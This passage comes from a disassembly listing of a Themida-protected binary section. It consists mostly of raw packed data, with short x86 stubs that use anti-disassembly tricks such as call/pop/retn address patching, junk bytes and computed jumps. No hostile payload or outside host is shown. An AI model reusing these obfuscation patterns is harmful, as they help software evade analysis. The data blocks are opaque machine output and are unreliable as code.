0DA3154Eh, 0C4A1F3CAh dd 7D5AAC0Dh, 3512645Bh, 0BCC81AA1h, 0D2482E34h, 615C580Bh dd 0F8C512FAh, 0CD28D9B0h, 0FB2C1218h, 184051F1h, 0EDBB53C1h dd 5D1AEBEh, 4DE5D401h, 20993805h, 0CED41C74h, 51F232E8h dd 95A5D4FCh, 8C4A17DCh, 0D42B832Fh, 0C9FA9F29h, 0AFBAE94Bh dd 0E0E89427h, 9CC27D09h, 0FC2B088Bh, 2026E5F1h, 51F2D03Ah dd 0E8AE11C7h, 8C7278C0h, 0A051F2CFh, 0B28EE078h, 0A78ADD44h dd 702AF057h, 0C08A90D8h, 0A57EBCDh, 7A26953Dh, 476FF322h dd 6D6A37FFh, 0CCE4CA50h, 0D0F8580Bh, 582F37A1h, 76555A9Ch dd 0B0BBEA62h, 66439526h, 979F4B70h, 65E3C9CFh, 0CFF7580Bh dd 8C895CA0h, 0E3F03A28h, 0B1212EDAh, 84E85E0Ah, 0C92DE3C6h dd 58637389h, 59AD2906h, 3E964279h, 0E8EDFAA6h, 2ED025D1h dd 0BDFED86Ch, 10C6936Bh, 65717CABh, 0D5A2AA56h, 0B50DB900h dd 157A86h, 0EAB20000h, 8006B51Dh, 0BC898B9Ah, 705786AEh dd 308D4A17h, 1261C801h, 3C49F5CAh, 6875219Ah, 96A34F70h dd 0C5D27E3Bh, 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h, 7A873388h dd 33B86459h, 52D268h, 240C8900h, 7B8068h, 24148900h, 7F7D68h dd 241C8900h, 19E1E168h, 8B545A06h, 0C483241Ch, 0D0895004h dd 8B084389h, 0C4812404h, 4, 53241C8Bh, 0C381E389h, 4 dd 4C381h, 1C870000h, 148B5C24h, 0E0895024h, 405h, 40500h dd 4870000h, 0A8E95C24h, 7AFFFA91h, 0E80D1360h db 0C0h ; --------------------------------------------------------------------------- loc_5A785D: ; CODE XREF: Themida_:loc_5A6D6Bj mov eax, 619EC15h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 240h dd 8E7748CEh, 8AB469DAh, 0AB7E6DF7h, 0E5166E35h, 7BC01A75h dd 8BF26C68h, 0AC5389Ch, 6008465Ah, 0C3927D78h, 4DE200FFh dd 2AB5256Bh, 0DAE24906h, 0B12E1B63h, 0B9BA311Ah, 0AF8856E2h dd 81500E20h, 92BB374Fh, 0E8627105h, 0EAF55F7Eh, 0B24A36ADh dd 0AE791156h, 0BE84E15h, 0C5000000h, 5B4B4h, 0F3BEC291h dd 0BE89A6Ah, 0A7000000h, 0BF873788h, 1105A769h, 8B6644A3h dd 0F585ECEh, 0C081F1B7h, 6FD1h, 0FD233F9h, 1A8Ch, 0EE800h dd 14850000h, 1EEBF7F6h, 0EEB9D738h, 5325150Dh, 0A32EC681h dd 8B5F198Dh, 0E781101Ch, 29FFAC63h, 5848C381h, 7E94BBEh dd 55000000h, 0E260A34Dh, 0EB812C2Bh, 59324455h, 2880Fh dd 0CF8A0000h, 839BEB81h, 0F533E00h, 48FCABFh, 0CAB70F10h dd 83F78B66h, 7E904EAh, 0C6000000h, 0E4DC4570h, 0FA816E3Eh dd 0FFFF90D4h, 0FFA9850Fh, 0F681FFFFh, 5D8390FAh, 15E9h dd 709F8A00h, 5Dh, 3 dup(0) dd 1CE90000h, 0BE000005h, 724FA11Eh, 2D0A5C61h, 0E7C416A5h dd 9C79CBEEh, 0F730823Bh, 0D5E8EFC1h, 8E2BA683h, 46795F3Ch dd 0FCBF17F4h, 10169EAAh, 580BD52Ah, 17DC433Eh, 1308D4Ah dd 93DBE0F6h, 1AD12C6h, 3107AA9h, 0BA97E9D4h, 0E6F39F1Ch dd 121FCBF0h, 0DA50FCC1h, 0DDDCF5C2h, 3D232931h, 5151F1E8h dd 8E449129h, 0FA29812Dh, 8452EAA8h, 0D0685582h, 8910B188h dd 966A0AD1h, 5E7A5767h, 0A6320F61h, 988C7464h, 0EAEE7901h dd 2E8632CAh, 54814E96h, 0BFCC3665h, 0A6FBA712h, 2AAE4604h dd 1ECAF3E0h, 0FFDC2EC6h, 0F238E4D7h, 51F29E0Fh, 0C0DB778Bh dd 0FEED3BA5h, 5E59h, 40177000h, 0C47D70E4h, 40262CCFh dd 5451F297h, 464C942Ch, 51F29760h, 121D4C74h, 54BF7C4h dd 51F29721h, 0D4CF8B9Fh, 0FEED4291h, 16Dh, 0C1128400h dd 904350FCh, 6174812Dh, 0D236AC58h, 1DB481B0h, 4A0459Ch dd 0A3500541h, 536A6974h, 97522901h, 0A33D54C5h, 63737EADh dd 124D0658h, 5C4248C5h, 7051F1E8h, 0F704B048h, 10A92CDCh dd 0F3B50C64h, 63026E24h, 0E85A069Eh, 0A92EC684h, 0F1E5C214h dd 21B582CAh, 0F9016B9Ah, 0E413AC2Ch, 1503F9D9h, 304FF4A4h dd 96C3A9AFh, 0AFD751F2h, 0C6D37F17h, 0F901AD12h, 0F2970DF3h dd 0ACF92151h, 94E99526h, 8A5150F2h, 4F172A68h, 0F2976349h dd 204F7751h, 0ED40C1B4h, 715DFEh, 12740000h, 0E8B0F8C5h dd 0F1E7FCE2h, 32381051h, 51F1E84Ch, 71A03860h, 0E3D8FA07h dd 3D5DC137h, 23963F0Ch, 506D6A77h, 597E89B8h, 0A2351264h dd 0D006D31Bh, 4552BCEBh, 0F67D2990h, 0BB83B6D4h, 4CD2E7EEh dd 51F1E866h, 81389D7Ah, 274EBAE9h, 0F7FEEDF0h, 42h, 43C5120Eh dd 48902893h, 0B965587Bh, 0BBC83261h, 0C2F6A21Dh, 4F88BCDEh dd 12631C6Eh, 0E7B4FCC1h, 0C921CDF0h, 7EA309Ah, 8351F1E8h dd 0ADB8D36Fh, 51FEEDF1h, 0Ah, 0D317249h, 9EA102B2h, 0C012886Fh dd 94424FFBh, 676E7B27h, 3999A652h, 1DB504CDh, 1B375B71h dd 31C9F0E1h, 0A458FA9Ch, 5F3B8D2Eh, 0FF054DF1h, 57E502E8h dd 7D8A365Eh, 0E8E0A359h, 4AE9FE41h, 0B18860B2h, 989E2DD2h dd 5806A2B2h, 66479EC6h, 848FBE92h, 77BD6952h, 58065893h dd 0BB7111F5h, 0D4E7EB1Bh, 0C90DEA3Ch, 9D3946F2h, 9C00721Eh dd 2B9046FEh, 97441BE3h, 2EA47800h, 0B59076FCh, 7CA45806h dd 66FF3D4Dh, 0F8F8D923h, 0E312AD2Bh, 12D7Dh, 0A5139400h dd 74ABB1F9h, 2A57E50Dh, 8D495602h, 27AB5F79h, 0F890E894h dd 0A5CF44Ch, 4B726532h, 0F6C5111Ch, 22993D4Ah, 15EC0476h dd 0EFF7313Ah, 4496C55Fh, 0D3E8EE06h, 0F6DCA981h, 92C119C5h dd 0D9D73F26h, 5BBFF8h, 13D60000h, 0E8B0F8A6h, 0F1E7FCE2h dd 0B9E81051h, 0E7E7ADB3h, 93BBD1F1h, 0FEC6744Bh, 0D5ED3F27h dd 9AA1878Dh, 8DB5D1F2h, 0C8AEF45Eh, 4CD1F29Ah, 66D36A28h dd 3DE9D403h, 0FF054DE5h, 51F29B39h, 0BB93E50Dh, 0A7D6E3EEh dd 999Bh, 50BD300h, 51F29B1Fh, 15BE0B33h, 75A4FCA8h, 0F9A5138Eh dd 10F0ABB1h, 769E57E5h, 0A219BDCAh, 58637350h, 0F28566ACh dd 0FDE15805h, 0F2DFAC5Dh, 498D98C7h, 5C622A72h, 5805F276h dd 2333628Ah, 0DF87744Bh, 20A08068h, 8BBA05D3h, 236B1381h dd 35A91Dh, 0DCFCD95Eh, 47DF37E3h, 1BA032FFh, 7EE8176Fh dd 67AB9F76h, 0F08BB07Ah, 0E620B6C1h, 0CC24D0EDh, 0CF67527Fh dd 0AB78CE23h, 1062912Ch, 0EC4DBB72h, 0D028D4E5h, 76EAF038h dd 0A6641A51h, 8986F8BFh, 0C45CBA7Ch, 0A513B972h, 0EFE4B1F9h dd 9BCA22CEh, 0F61B8F95h, 234B57EBh, 4F6C6A77h, 5B620FDh dd 62961359h, 74D81332h, 3B81ED6h, 0B902D4B1h, 0BDA3A971h dd 4AB37541h, 2B832F8Ch, 724B8865h, 3441ABDAh, 5F6C18A1h dd 8B984477h, 0ADC36F4Ah, 53E8C989h, 14A530FDh, 45785B68h dd 5CA94199h, 0C012417Ah, 9A6C6A82h, 97E9813Eh, 579F1CBAh dd 41A3898Fh, 8FB7B375h, 8E8F660h, 3F000000h, 45915EE4h dd 12604776h, 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh dd 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h dd 51E38953h, 0EC1EE5B9h, 58F18131h, 0C13DA751h, 0C18108E9h dd 0FFF3B4B5h, 8359CB01h, 1C8704EBh, 89535C24h, 4C381E3h dd 81000000h, 4EBh, 241C8700h, 2404895Ch, 81E68956h, 4C6h dd 4EE8100h, 87000000h, 895C2434h, 5157240Ch, 8A6E84B9h dd 7E9C141h, 4074C181h, 0E9812ED5h, 293E67A5h, 8959CF89h dd 8B545FF8h, 0C483240Ch, 3A5F6804h, 4890000h, 8418F24h dd 592434FFh, 4C481h, 48B0000h, 0E0895024h, 405h, 4C08300h dd 5C240487h, 0FA8B5EE9h, 744FB0FFh, 0B8A8019Eh, 619F225h dd 0E0FFC503h, 3707AB25h, 61BAA52Dh, 574FC666h, 6B30FD56h dd 27A65C27h, 3293B5FBh, 0BB40A40h, 0F3FA65Fh, 16C8788Eh dd 30161330h, 59823BF2h, 1ACD1AD5h, 0F3E78D8Dh, 6A0619h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 693555C3h, 8D8993FDh, 6143229h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 2CC35040h, 303502C5h, 9E5B5FB3h dd 4DE68166h, 0D995BF7Ch, 85C77083h, 614064Dh, 7040h, 8F0Fh dd 85C70000h, 6142671h, 0 ; --------------------------------------------------------------------------- jmp loc_5A7F67 ; --------------------------------------------------------------------------- db 0A6h, 91h, 8 dd 815F79BEh, 27F27AA9h ; --------------------------------------------------------------------------- xchg eax, edi leave xchg eax, esp loc_5A7F67: ; CODE XREF: Themida_:005A7F54j push dword ptr [ebp+6140591h] push 0 push eax call sub_5A7F78 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A7F78 proc near ; CODE XREF: Themida_:005A7F70p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5A7F78 endp ; --------------------------------------------------------------------------- inc eax fisttp dword ptr [esi-0D17B08Ch] mov ebp, 95FF2A75h popa and edx, [esi+eax] push 0 push ebx call sub_5A7FA3 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A7FA3 proc near ; CODE XREF: Themida_:005A7F9Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5A7FA3 endp ; --------------------------------------------------------------------------- test eax, 0F5924D0Ah cli mov edx, [ebp+61405B1h] push 0 call dword ptr [ebp+6141169h] mov eax, eax jmp short loc_5A804A ; --------------------------------------------------------------------------- db 7Ch ; --------------------------------------------------------------------------- imul ebx, [edi-7DD7C688h], -38h mov ds:0CAB442Dh, eax retn ; --------------------------------------------------------------------------- db 0DDh, 48h, 35h dd 3FD611EEh, 30C95BD0h, 0C8DB0A67h, 39895A02h, 0A99BD9EFh dd 0A4AD790Ch, 0C272D4D6h, 4E341821h, 74CB6E0h, 8D39F0Ch dd 3AD078A0h, 0D7163F6Ch, 0C72EB997h, 6EAD0BC5h, 0B90DCACBh dd 3CF005E4h, 1DF76863h, 0DE91846Ah, 5A46ADB3h, 5A23F555h dd 0A6F02F80h, 0D92CE4DAh, 27F937EAh, 5378E964h, 8C51DD62h dd 0F6A5653h, 0DA97A76h ; --------------------------------------------------------------------------- push ss xchg eax, ebp loc_5A804A: ; CODE XREF: Themida_:005A7FC9j lea ecx, [ebp+619F520h] push 0 push edx call sub_5A805B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A805B proc near ; CODE XREF: Themida_:005A8053p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5A805B endp ; --------------------------------------------------------------------------- or [esi], bl aas sub [ebx+142E319Dh], cl push es sbb dl, 45h mov [ebp+6143229h], ecx push 0 push ebx call sub_5A8089 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A8089 proc near ; CODE XREF: Themida_:005A8081p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5A8089 endp ; --------------------------------------------------------------------------- add eax, 1CF9EA23h xchg dh, dl pop ebx mov esi, 545F36A3h sub [ebp+61410B5h], ecx mov dword ptr [ebp+614064Dh], 5CB8h mov si, bx mov dword ptr [ebp+6142671h], 0 cmc push dword ptr [ebp+61402E1h] mov [ebp+61423D9h], eax call dword ptr [ebp+6142361h] push 0 push edx call sub_5A80E1 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A80E1 proc near ; CODE XREF: Themida_:005A80D9p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5A80E1 endp ; --------------------------------------------------------------------------- db 2Ch, 55h, 77h ; --------------------------------------------------------------------------- mov bl, 0F4h sub eax, 0FF006ABFh xchg eax, ebp imul edx, [ecx], 0C08B0614h jmp short loc_5A8121 ; --------------------------------------------------------------------------- dd 0D1910119h, 0EE3D7FEAh, 0CFF61C49h, 4299AF88h, 51F4B7A8h dd 98F1E345h, 0E4F6A16h db 72h ; --------------------------------------------------------------------------- loc_5A8121: ; CODE XREF: Themida_:005A8102j jmp loc_5A8148 ; --------------------------------------------------------------------------- dw 0EA4Fh dd 674Ah, 243h, 6 dup(0) ; --------------------------------------------------------------------------- loc_5A8148: ; CODE XREF: Themida_:loc_5A8121j jmp loc_5A8D59 ; --------------------------------------------------------------------------- push 619F710h jmp loc_55D2A6 ; --------------------------------------------------------------------------- push 619F7F9h jmp loc_55D2A6 ; --------------------------------------------------------------------------- push 619F984h jmp loc_55D2A6 ; --------------------------------------------------------------------------- push 619FA4Dh jmp loc_55D2A6 ; --------------------------------------------------------------------------- push 619FAF2h jmp loc_55D2A6 ; --------------------------------------------------------------------------- push 619FCFEh jmp loc_55D2A6 ; --------------------------------------------------------------------------- push 619FDAFh jmp loc_55D2A6 ; --------------------------------------------------------------------------- push 619FECCh jmp loc_55D2A6 ; --------------------------------------------------------------------------- push 619FFC2h jmp loc_55D2A6 ; --------------------------------------------------------------------------- db 0A1h dd 2236076Bh, 0A5B98AE0h, 2A3E0F5Bh, 0ACC091D7h, 3247185Ah dd 0C66A08Dh, 94DC273Bh, 1A56AFC3h, 9ECA3549h, 8A266BCDh dd 3046EEF6h, 0D9CB1B79h, 45894226h, 9DDAEBAh, 0AA2DF0F1h dd 0F9F78B27h, 0E1722A2Ch, 2A331CA8h, 0C5563410h, 29E8800Ch dd 867A3041h, 1EE72BE4h, 369A9952h, 93D82A30h, 29E07410h dd 0CA5B3041h, 0F879FD91h, 6FA74855h, 3548h, 1194A00h dd 68A13D00h, 0ED341020h, 0D20703B5h, 0F2836E29h, 5215AD39h dd 83E93041h, 74DB7EE3h, 34886FA7h, 4B22F7CCh, 0B80C4265h dd 0F42D6E27h, 0E3C7h, 26D9C900h, 0C1458942h, 4BB4F8B1h dd 0C76B7E76h, 0F3844B0Ah, 2D09F63Ah, 2D3CFD91h, 5EEF802Ah dd 48E4318Dh, 87782A2Ch, 36CA1EE1h, 0CC377B34h, 59DA13A4h dd 2F41C216h, 0B8FC3576h, 64682147h, 3CC5194Ch, 40BC502Ch dd 0AE3F2A2Dh, 40BB4FEBh, 0AD3E2A2Dh, 0ECBD591Ch, 61341066h dd 0C4BCFFD0h, 0E505FC7Ch, 1A1E57D0h, 0A23E0102h, 3A28A540h dd 0D06400C3h, 4B2A2F3Ch, 0E36629BAh, 901B58EBh, 2F4C60F4h dd 124ADB2Ah, 316A34D2h, 885919EDh, 17E09274h, 0E0BA6296h dd 0AA76C43Fh, 0E9000009h, 6A7E4F23h, 0ED01D298h, 72865713h dd 0F408D98Fh, 7A8F6012h, 541EE845h, 0DC946F83h, 620EF70Bh dd 0E6827D91h, 0D26EB315h, 3046F13Eh, 0D91363C1h, 6074452Dh dd 0B206C99Fh, 84E41B54h, 40F98ACBh, 0F745C6FFh, 32CE0119h dd 2A2CF99Eh, 7FC9021h, 0DE6FB069h, 20467F1Bh, 7A0B3410h dd 139D35C1h, 0B713041h, 3663066Bh, 0BC566FA7h, 58000000h dd 894226D9h, 53AEC145h, 6DC18415h, 0DA1BD494h, 5FAC38A1h dd 0D92A2C06h, 0A9C13F26h, 5B1EAFF0h, 0F6272B63h, 0B44DE2DCh dd 29BAFBB4h, 0A45B6FF0h, 0EF070BC4h, 0BE8F2BEEh, 0C3341103h dd 0CA1E6132h, 0FAFE3739h, 9B1EE1E2h, 41F76BFFh, 6602FD30h dd 86F932C3h, 28B379EAh, 985BEC3Ah, 0DB771D15h, 5625E61Eh dd 452DD91Dh, 0CCA66074h, 0BA718003h, 80CE49E0h, 8C1h dd 67383AD2h, 0EABBAF53h, 6F402AD6h, 0F1C2A65Bh, 784929DDh dd 35D1BE63h, 0AB586C3Dh, 25E0F4C5h, 99667A4Bh, 579CFECFh dd 46F127BBh, 0F444A230h, 74452DD9h, 40C69F60h, 9AD6D78Bh dd 18A94C93h, 0D968B687h, 45894226h, 9DDAEBAh, 0AA2DF0F1h dd 2CF97A0Eh, 2B64F52Ah, 783D35B8h, 91C81BB2h, 14AD3972h dd 99341054h, 0F40B4F08h, 708FA374h, 16B235F8h, 30412582h dd 7371C5FDh, 672DB504h, 0E37713D6h, 6630413Ah, 0A7339CD5h dd 0B9F6662Eh, 85F176Bh, 5DA071F7h, 0BB74FC09h, 2FD417Ah dd 5C049834h, 0F687AB7Fh, 8720AC65h, 19AB7F5Bh, 88CC85EDh dd 0A75CF07Ah, 0E9CD10C9h, 2A8EDD8Dh, 84E41B4Ch, 0A3956DC1h dd 7F5B7307h, 0D465F6ABh, 0DFD71A9Bh, 0B34067EDh, 5315EA4Ah dd 0BA4589C2h, 0CC69F5AEh, 3AAB7F74h, 0D13F8D85h, 64361536h dd 33CCD9Bh, 9F60F76Fh, 1BE4F8C9h, 7890944Dh, 2718B477h dd 5AB2BD8Fh, 450E06C9h, 52B650ECh, 6034B5EEh, 0E8844748h dd 0ACC9829Bh, 0B844FD8Eh, 0A8DA731Fh, 5F1850B1h, 0CB84E41Bh dd 7328BC58h, 12A3A8DAh, 78E2849Ah, 0BBA6C026h, 0E8409118h dd 4A10Bh, 0FD910D00h, 602A2CF9h, 0BF78FA0Ch, 21B9457Eh dd 842A2C0Ah, 800FF58Ch, 1CE94834h, 0C95A9B54h, 74D40490h dd 0C65E2A2Ch, 982A2D6Ch, 20BC7F80h, 3410905Bh, 0B2B84ADEh dd 5E27B8F9h, 0E6AC4731h, 36A5F36Eh, 5D000007h, 0DEF2C3AFh dd 61754624h, 0E6FACB9Fh, 687C4D1Bh, 0EE03D49Eh, 0C8AA5CC9h dd 5020E3F7h, 0D69A6B7Fh, 5A0EF105h, 46E22789h, 3046F2B2h dd 0D97FCF2Dh, 85894226h, 0DA96C6Dh, 3416F23Ah, 2848BB0Fh dd 669A2E6Fh, 0D10A4B04h, 0F31CED7Eh, 4849611Dh, 99D13185h dd 9051ED60h, 0F53A2A14h, 633E8C64h, 0C6DBDB2Ch, 8C1A09CEh dd 7BB40184h, 9B5E5F77h, 38FA6DA3h, 81BA9C42h, 0C9378B0Eh dd 3FDC68A1h, 0CAE37CCCh, 0DE227639h, 65B21EE5h, 0EC7DF38Fh dd 50B9F233h, 7033344Ch, 56D99EDh, 0E7B540CCh, 0AB3CDD88h dd 0FD6B94E8h, 0E9F1E92Ch, 9A369C13h, 7689CD06h, 150E5A4Bh dd 0FB8CA29Eh, 0D4BA5F32h, 7BC9444Fh, 66Dh, 0BB8CE626h dd 3E0F5BA7h, 0C394D62Ah, 451652AFh, 0CC9DD531h, 0E12502B7h dd 57ACC091h, 0D1344819h, 45BACE9Fh, 0ABF05223h, 46F37B0Fh dd 50A0FE30h, 3D000119h, 101F08A1h, 43FC8D34h, 0AF6800FFh dd 1ED79B6Bh, 8B4426DAh, 9A294D63h, 4B5B343Ah, 0F1DC6D60h dd 0B6CED99Dh, 0BD56F2B5h, 403A2422h, 5C1553ACh, 5DB98A1Bh dd 2A2D16C5h, 2D167B0Fh, 34354D2Ah, 1002D571h, 13673417h dd 0EF427BEFh, 8219A55Eh, 0CE3046E1h, 3046E22Fh, 79B37BAh dd 82241311h, 8B74B8F1h, 3FB314DDh, 910C195Eh, 5C843h dd 3141CB00h, 0B4B64C60h, 3931CFE3h, 0BBAD5468h, 4230D6EAh dd 0CAA75C71h, 5165363Ch, 0D9EDBEB2h, 5F73442Ch, 95F7C8A0h dd 0F420B450h, 3D9B3046h, 119EDh, 0E7C2BA3Dh, 0BB147620h dd 5023AFE8h, 0D93417B5h, 0B44B8F48h, 0F10FE3B4h, 1EE135F8h dd 2FE87C18h, 0D2633046h, 5B9F0841h, 0DFF3C4A4h, 1C8F4820h dd 0CE200324h, 0C3FC8CA0h, 62B6807Fh, 5FF3CFA1h, 0E930469Dh dd 57985119h, 0C46023B4h, 30469E30h, 0D0891AABh, 5E096DD1h dd 2D42C4A1h, 9CDD96D2h, 8011520Bh, 0EE186CAFh, 518ACB84h dd 0ACC07417h, 1B4676Fh, 19690000h, 0E93D0001h, 5B9C551Dh dd 0D82CAF22h, 0E27E4127h, 2A2CF94Eh, 7B0740D1h, 3410238Ah dd 2CC05CDFh, 0AF30411Fh, 192E51Eh, 1F22BC48h, 4BB83041h dd 1EC357F3h, 0B5463041h, 0DC276B24h, 9FF7D4EDh, 0FE8FF815h dd 68000145h, 0EEC46EAFh, 2F93E288h, 15486037h, 702941C1h dd 27BF532Fh, 0B9493041h, 14B7F8B1h, 0DB2FF283h, 970A4327h dd 24510AFBh, 1DEE7F3Ah, 976FF609h, 4874ADBh, 2D04D468h dd 0F894572Ah, 2A2D0464h, 8CC556E7h, 4820DF23h, 8A8BA377h dd 35422BC7h, 36C73410h, 3459F17Dh, 16EB3041h, 28B9B14Fh dd 94D42B6Fh, 0D99DB3DBh, 9DD93F91h, 0A75331D4h, 44246Fh dd 19260000h, 0BA3D0001h, 4E22E337h, 0E4785495h, 672A2CF9h dd 0D8119DD6h, 9D34101Fh, 43C6490Ch, 411413A7h, 29059630h dd 30411395h, 0EB7D8418h, 2CB8215Ah, 30411394h, 0FD640268h dd 6FA7365Ah, 0A04Dh, 26D94F00h, 4FD0449Bh, 50E194C7h dd 0A3CA398Dh, 0C37C0D5Dh, 6DE04982h, 5A1E2B75h, 3A739849h dd 0A96210F6h, 15CE9A65h, 693A2ED1h, 2CCDC00Dh, 2543BC2Ah dd 67688054h, 39CD21A4h, 63F8039h, 1482837Ah, 94720634h dd 0B5BB4ADEh, 0F90D6124h, 7294A879h, 50443700h, 0EA65E6AEh dd 3BC9Ch, 3D35D700h, 0C0AA586Ch, 4525DBEFh, 0C7A16074h dd 4E24E2F6h, 0D6B3687Dh, 5D714230h, 0E5F9CAA6h, 6B7F5020h dd 0A103D494h, 0F62CC05Ch, 51AF3046h, 452DD901h, 26DD3174h dd 1750914Ah, 6B3C2CD3h, 4226D91Dh, 7CBA4589h, 2CF94CE0h dd 0AD3ECF2Ah, 0F9918EDCh, 432A2C79h, 2A2D79ABh, 0A164657Dh dd 79EE821Eh, 0E0712A2Dh, 19EB58A8h, 72AB5A91h, 3E9063FFh dd 5993417h, 24DD6EFAh, 44070820h, 8768C9C1h, 23A36CFh dd 8F23CCE9h, 36C2FB77h, 3A29FDE9h, 996DC144h, 0F569FDD9h dd 53E42A3Ah, 0CC33C71Ah, 0D420B9Ch, 3AE0B5D4h, 30B71BFh dd 84880000h, 0F9091DEEh, 748CA071h, 0F01125F6h, 7393A778h dd 0E4192EFFh, 22F37F87h dd 0AA7BF50Eh, 30016F96h, 0B485E31Ch, 0DD710D52h, 603046F6h dd 26D9B202h, 0BA458942h, 0F109DDAEh, 0A8912DF0h, 0CD34102Ah dd 5FF7833Ch, 33304129h, 25C8A9CDh, 186FA748h, 3Bh, 1191Ah dd 5317E93Dh, 0AD20599Ah, 101FD811h, 0FD099D34h, 0EA7BBC75h dd 140DA531h, 9CE13041h, 7CB5BB48h, 40E38EE8h, 336FA736h dd 0D0h, 8D21BD40h, 10304107h, 0D9C8467Fh, 45894226h, 0F8AB0AC1h dd 5900FEAh, 0F448BB74h, 62A35C0Eh, 4E1AE529h, 0BAAE5195h dd 0F4AEA6E9h, 7575C12Fh, 1647008h, 0F98AF090h, 8E069A36h dd 0F8892A2Dh, 99E633BFh, 8D722A2Ch, 9F60ADBh, 0B7489C5Fh dd 7EB7F8B1h, 0F8F91115h, 0BA409935h, 0B4453410h, 0F6F70FE3h dd 0A35CB033h, 0D26602C5h, 4D304199h, 0FEF783BCh, 833A2850h dd 2BDB2FF2h, 0CF308447h, 6CFD6B96h, 0B83972B3h, 471062A4h dd 0E0BA3F08h, 0EE80CE49h, 0A5000001h, 263A0B67h, 0A9BD8EDCh dd 2E421357h, 0B0C495D3h, 364B1C56h, 1062A481h, 98D82B3Fh dd 1E52B3C7h, 0A2C6394Dh, 8E2A6FD1h, 3046F7FAh, 0D9C71775h dd 6074452Dh, 0AAF8C99Fh, 3D000119h, 102068A1h, 0BAD5CD34h dd 0D0394922h, 46D72A63h, 0ED69018Dh, 0D73D3041h, 102FD29Fh dd 0EA226FA8h, 24000000h, 894226D9h, 0EEB1C145h, 0CC056B9Ah dd 68AD763h, 0F10E2A2Ch, 0E063A677h, 2CFDB044h, 619A2B2Ah dd 0CD86E21Dh, 0EDB0B1C9h, 48016999h, 0D85BCE07h, 0FE25B955h dd 17A82A2Ch, 2DF952DEh, 85C3410h, 7BBC75FBh, 164F1BE7h dd 1B6F32C3h, 8BCC85E5h, 0E5FDD152h, 0AB8521E4h, 0AE3A27E9h dd 65A1Dh, 902CAF72h, 2A2F79FCh, 34B5EE7Fh, 7C31F9F1h dd 0C9B1C64h, 5F0CB6D4h, 92CB6C51h, 49B7B84Eh, 0FA40E921h dd 6C45BA13h, 51C912DBh, 7BF6E0BAh, 0F82Dh, 1719B00h, 84E61C30h dd 9619FB3h, 8BDD2438h, 1260A6BAh, 9AF72C41h, 2135066Ch dd 0A9BD8EE2h, 2F43145Ch, 65C798D0h, 0F8F08420h, 0D6B3046h dd 0EBB2AABDh, 0DF730FACh, 5A2A2DDDh, 0FF3791C9h, 9670B4EDh dd 74C80BDCh, 60A4DD8Bh, 0B206C99Fh, 5FE0194Fh, 4226D911h dd 95D52B7Fh, 0F9629BDCh, 4D1E4AB5h, 9D606179h, 16F22A01h dd 689B2F34h, 4377D008h, 6C00E0Ah, 8778BC75h, 3FC10E1h dd 15CEA462h, 0FE8A43D4h, 8FF7E40Ah, 48016F94h, 0B26BFD04h dd 5DD5936Eh, 76942F47h, 66521FE1h, 1D503BCCh, 556AFE9Ah dd 54E59176h, 78EF871Bh, 0FC10E187h, 0AAA26503h, 0EC46A487h dd 7EE7200Eh, 619EC73Ah, 95BD7607h, 8F70E77Fh, 0BF408D9h dd 0C3A612B6h, 0A93AE500h, 8E857DF0h, 3BAD50Ch, 1269B7F0h dd 0A4000000h, 0EE8AB650h, 91762C5Ah, 0FAB344D5h, 0AB0280B9h dd 3F33D91Bh, 0ABBD4286h, 1957AEF2h, 89E71C60h, 0F87A8CD0h dd 670BFB3Fh, 0D1976AAEh, 3E2CD418h, 0A9C14185h, 8950EAF0h dd 4BF57E0h, 1000000h, 0E8835FF8h, 24048704h, 613685Ch dd 1C890000h, 4D6E6824h, 4890000h, 68575024h, 182B30F0h dd 0D5C7815Fh, 0F75DAA39h, 0F2F781D7h, 898C3360h, 0C3895FF8h dd 72FC6858h, 24890000h, 24048324h, 83685804h, 89000066h dd 3481241Ch, 5215E724h, 8408F02h, 0E7087081h, 8B025215h dd 89572404h, 4C781E7h, 83000000h, 3C8704C7h, 1C8B5C24h dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 0FB4555E9h dd 388D00FFh, 9F9669DCh ; --------------------------------------------------------------------------- std loc_5A8D59: ; CODE XREF: Themida_:loc_5A8148j mov eax, 61A00DFh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 65BDh dd 1E4E1B20h, 0ACCF09B5h, 16502E9Ah, 31185D92h, 7CFD442Bh dd 9C8C1639h, 623F04FEh, 60F62271h, 0A3F85982h, 29084B3Ah dd 7E2F3F73h, 4E286439h, 99284E08h, 9A2B4FF6h, 0E8322BF7h dd 37B819FBh, 0CCAD15D6h, 0D2D0721h, 0FE5E493Dh, 32A10A6Dh dd 0D2AE26BEh, 0AD2E7880h, 2D2E7A96h, 0ADAE709Dh, 5EDD1020h dd 10E83422h, 0CE000000h, 107EA68Ch, 5538BCB6h, 3A604BCBh dd 0E87A489Ch, 12h, 0A48F515Eh, 35A14728h, 6D0E901Dh, 27042A5Ah dd 73B104C9h, 1DB15F59h, 6542C781h, 680000h, 0B4000000h dd 0F18A5E8Ch, 0F371C8Bh, 0C381C2B7h, 6F25DBC6h, 8840Fh dd 880F0000h, 2, 0C381D38Bh, 45BE814Ah, 5820Fh, 0BBB80000h dd 810BA9E2h, 4CBB6CEBh, 6E94Dh, 0A76E0000h, 3EA4D530h dd 25BA6653h, 37048FEFh, 0FDC18166h, 